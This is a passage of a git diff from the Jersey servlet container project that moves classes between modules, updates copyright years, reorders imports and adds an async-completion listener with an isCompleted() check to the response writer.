  * The Web configuration for accessing initialization parameters of a Web
  * component and the {@link ServletContext}.
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java
index f7bff86..2d17ec0 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebFilterConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,12 +16,12 @@
 
 package org.glassfish.jersey.servlet;
 
-import java.util.Enumeration;
-
 import jakarta.servlet.FilterConfig;
 import jakarta.servlet.ServletConfig;
 import jakarta.servlet.ServletContext;
 
+import java.util.Enumeration;
+
 /**
  * A filter based web config. Delegates all invocations to the filter
  * configuration from the servlet api.
@@ -38,8 +38,8 @@
     }
 
     @Override
-    public WebConfig.ConfigType getConfigType() {
-        return WebConfig.ConfigType.FilterConfig;
+    public ConfigType getConfigType() {
+        return ConfigType.FilterConfig;
     }
 
     @Override
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java
index 8196a56..521b57f 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebServletConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,12 +16,12 @@
 
 package org.glassfish.jersey.servlet;
 
-import java.util.Enumeration;
-
 import jakarta.servlet.FilterConfig;
 import jakarta.servlet.ServletConfig;
 import jakarta.servlet.ServletContext;
 
+import java.util.Enumeration;
+
 /**
  * A servlet based web config. Delegates all invocations to the servlet
  * configuration from the servlet api.
@@ -38,8 +38,8 @@
     }
 
     @Override
-    public WebConfig.ConfigType getConfigType() {
-        return WebConfig.ConfigType.ServletConfig;
+    public ConfigType getConfigType() {
+        return ConfigType.ServletConfig;
     }
 
     @Override
diff --git a/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/async/AsyncContextDelegateProviderImpl.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/async/AsyncContextDelegateProviderImpl.java
index efe248e..ade7c29 100644
--- a/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/async/AsyncContextDelegateProviderImpl.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/async/AsyncContextDelegateProviderImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,19 @@
 
 package org.glassfish.jersey.servlet.async;
 
+import java.io.IOException;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
 import jakarta.servlet.AsyncContext;
+import jakarta.servlet.AsyncEvent;
+import jakarta.servlet.AsyncListener;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
 
-import org.glassfish.jersey.servlet.init.internal.LocalizationMessages;
+import org.glassfish.jersey.servlet.internal.LocalizationMessages;
 import org.glassfish.jersey.servlet.spi.AsyncContextDelegate;
 import org.glassfish.jersey.servlet.spi.AsyncContextDelegateProvider;
 
@@ -70,7 +73,32 @@
         public void suspend() throws IllegalStateException {
             // Suspend only if not completed and not suspended before.
             if (!completed.get() && asyncContextRef.get() == null) {
-                asyncContextRef.set(getAsyncContext());
+                final AsyncContext asyncContext = getAsyncContext();
+                asyncContext.addListener(new CompletedAsyncContextListener());
+                asyncContextRef.set(asyncContext);
+            }
+        }
+
+        private class CompletedAsyncContextListener implements AsyncListener {
+
+            @Override
+            public void onComplete(AsyncEvent event) throws IOException {
+                complete();
+            }
+
+            @Override
+            public void onTimeout(AsyncEvent event) throws IOException {
+
+            }
+
+            @Override
+            public void onError(AsyncEvent event) throws IOException {
+                complete();
+            }
+
+            @Override
+            public void onStartAsync(AsyncEvent event) throws IOException {
+
             }
         }
 
@@ -102,5 +130,10 @@
                 asyncContext.complete();
             }
         }
+
+        @Override
+        public boolean isCompleted() {
+            return completed.get();
+        }
     }
 }
diff --git a/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/init/JerseyServletContainerInitializer.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/init/JerseyServletContainerInitializer.java
index a1d7f42..bf99736 100644
--- a/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/init/JerseyServletContainerInitializer.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/init/JerseyServletContainerInitializer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,7 +42,7 @@
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.servlet.ServletContainer;
 import org.glassfish.jersey.servlet.ServletProperties;
-import org.glassfish.jersey.servlet.init.internal.LocalizationMessages;
+import org.glassfish.jersey.servlet.internal.LocalizationMessages;
 import org.glassfish.jersey.servlet.internal.ServletContainerProviderFactory;
 import org.glassfish.jersey.servlet.internal.Utils;
 import org.glassfish.jersey.servlet.internal.spi.ServletContainerProvider;
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
similarity index 98%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
index 077fec1..1c85564 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,24 +16,22 @@
 
 package org.glassfish.jersey.servlet.internal;
 
-import java.lang.reflect.Proxy;
-import java.util.Enumeration;
-import java.util.HashMap;
-import java.util.Map;
-
-import jakarta.ws.rs.core.GenericType;
-
 import jakarta.inject.Singleton;
 import jakarta.persistence.EntityManagerFactory;
 import jakarta.persistence.PersistenceUnit;
 import jakarta.servlet.ServletConfig;
-
+import jakarta.ws.rs.core.GenericType;
 import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.server.ContainerException;
 
+import java.lang.reflect.Proxy;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * {@link PersistenceUnit Persistence unit} injection binder.
  *
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
similarity index 97%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
index 5cf6812..c94e508 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -115,6 +115,10 @@
     @Override
     public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse responseContext)
             throws ContainerException {
+        if (asyncExt.isCompleted()) {
+            return null;
+        }
+
         this.responseContext.complete(responseContext);
 
         // first set the content length, so that if headers have an explicit value, it takes precedence over this one
@@ -187,7 +191,7 @@
             final boolean hasEntity = responseContext.hasEntity();
             final Response.StatusType status = responseContext.getStatusInfo();
             if (!hasEntity && status != null && status.getStatusCode() >= 400
-                && !(useSetStatusOn404 && status == Response.Status.NOT_FOUND)) {
+                    && !(useSetStatusOn404 && status == Response.Status.NOT_FOUND)) {
                 final String reason = status.getReasonPhrase();
                 try {
                     if (reason == null || reason.isEmpty()) {
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java
similarity index 96%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java
index 7fa646f..54ac736 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ServletContainerProviderFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java
similarity index 96%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java
index 9ef4724..909018f 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvoker.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java
index f8acc93..0222b12 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/ThreadLocalNamedInvoker.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,10 +16,9 @@
 
 package org.glassfish.jersey.servlet.internal;
 
-import java.lang.reflect.Method;
-
 import javax.naming.Context;
 import javax.naming.InitialContext;
+import java.lang.reflect.Method;
 
 /**
  * A proxy invocation handler that delegates all methods to a thread local instance from JNDI.
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java
similarity index 80%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java
index c93863a..c3f5d17 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/Utils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,14 +16,13 @@
 
 package org.glassfish.jersey.servlet.internal;
 
+import jakarta.servlet.ServletContext;
+import org.glassfish.jersey.server.ResourceConfig;
+
 import java.util.Enumeration;
 import java.util.HashMap;
 import java.util.Map;
 
-import jakarta.servlet.ServletContext;
-
-import org.glassfish.jersey.server.ResourceConfig;
-
 /**
  * Utility class.
  *
@@ -32,15 +31,15 @@
 public final class Utils {
 
     /**
-     * Internal {@link jakarta.servlet.ServletContext servlet context} attribute name under which an instance of
-     * {@link org.glassfish.jersey.server.ResourceConfig resource config} can be stored. The instance is later used to initialize
+     * Internal {@link ServletContext servlet context} attribute name under which an instance of
+     * {@link ResourceConfig resource config} can be stored. The instance is later used to initialize
      * servlet in {@link org.glassfish.jersey.servlet.WebConfig} instead of creating a new one.
      */
     private static final String RESOURCE_CONFIG = "jersey.config.servlet.internal.resourceConfig";
 
     /**
-     * Store {@link org.glassfish.jersey.server.ResourceConfig resource config} as an attribute of given
-     * {@link jakarta.servlet.ServletContext servlet context}. If {@code config} is {@code null} then the previously stored value
+     * Store {@link ResourceConfig resource config} as an attribute of given
+     * {@link ServletContext servlet context}. If {@code config} is {@code null} then the previously stored value
      * (if any) is removed. The {@code configName} is used as an attribute name suffix.
      *
      * @param config resource config to be stored.
@@ -53,8 +52,8 @@
     }
 
     /**
-     * Load {@link org.glassfish.jersey.server.ResourceConfig resource config} from given
-     * {@link jakarta.servlet.ServletContext servlet context}. If found then the resource config is also removed from servlet
+     * Load {@link ResourceConfig resource config} from given
+     * {@link ServletContext servlet context}. If found then the resource config is also removed from servlet
      * context. The {@code configName} is used as an attribute name suffix.
      *
      * @param context servlet context to load resource config from.
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java
index 6f5d32e..8310e8f 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java
similarity index 97%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java
index fa88815..e29a6c7 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ExtendedServletContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
 
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.spi.RequestScopedInitializer;
 
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java
similarity index 97%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java
index 3b29bc3..b6c3fe3 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/NoOpServletContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,19 +16,17 @@
 
 package org.glassfish.jersey.servlet.internal.spi;
 
-import java.lang.reflect.Type;
-import java.util.Set;
-
-import jakarta.ws.rs.core.GenericType;
-
 import jakarta.servlet.ServletContext;
 import jakarta.servlet.ServletException;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-
+import jakarta.ws.rs.core.GenericType;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.server.ResourceConfig;
 
+import java.lang.reflect.Type;
+import java.util.Set;
+
 /**
  * Basic {@link ExtendedServletContainerProvider} that provides
  * dummy no-op method implementation. It should be convenient to extend if you only need to implement
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java
index 778c5d7..4b47497 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestContextProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java
index fee9f4f..25aa446 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/RequestScopedInitializerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java
index 35452bc..9c75164 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/ServletContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,17 +16,13 @@
 
 package org.glassfish.jersey.servlet.internal.spi;
 
-import java.util.Set;
-
 import jakarta.servlet.ServletContext;
 import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-
 import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.RequestScopedInitializer;
 import org.glassfish.jersey.servlet.ServletContainer;
 
+import java.util.Set;
+
 /**
  * This is internal Jersey SPI to hook to Jersey servlet initialization process driven by
  * {@code org.glassfish.jersey.servlet.init.JerseyServletContainerInitializer}.
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
index e0875ca..5951aca 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/internal/spi/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/package-info.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/package-info.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/package-info.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/package-info.java
index 8e99e29..c1b5ef8 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/package-info.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java
similarity index 77%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java
index 5825375..79f26c2 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
      * suspended. An implementation can throw an {@link UnsupportedOperationException} if suspend is not supported (the default
      * behavior).
      *
-     * @see ContainerResponseWriter#suspend(long, java.util.concurrent.TimeUnit, org.glassfish.jersey.server.spi.ContainerResponseWriter.TimeoutHandler)
+     * @see ContainerResponseWriter#suspend(long, java.util.concurrent.TimeUnit, ContainerResponseWriter.TimeoutHandler)
      * @throws IllegalStateException if underlying {@link jakarta.servlet.ServletRequest servlet request} throws an exception.
      */
     public void suspend() throws IllegalStateException;
@@ -42,4 +42,17 @@
      * Invoked upon a response writing completion when the response write is either committed or canceled.
      */
     public void complete();
+
+    /**
+     * <p>
+     *     Return {@code true} when the AsyncContext is completed, such as when {@link #complete()} has been called.
+     * </p>
+     * <p>
+     *     For compatibility, the default is {@code false}.
+     * </p>
+     * @return {@code true} when the AsyncContext is completed.
+     */
+    public default boolean isCompleted() {
+        return false;
+    }
 }
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java
index 0e58dfb..5b033b3 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/AsyncContextDelegateProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
similarity index 94%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
index 93ada47..f910b70 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.servlet.spi;
 
 import jakarta.servlet.FilterConfig;
+
 import java.util.List;
 
 /**
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java
similarity index 91%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java
index c8a1825..a53ccb2 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/spi/package-info.java
@@ -1,5 +1,5 @@
 /*
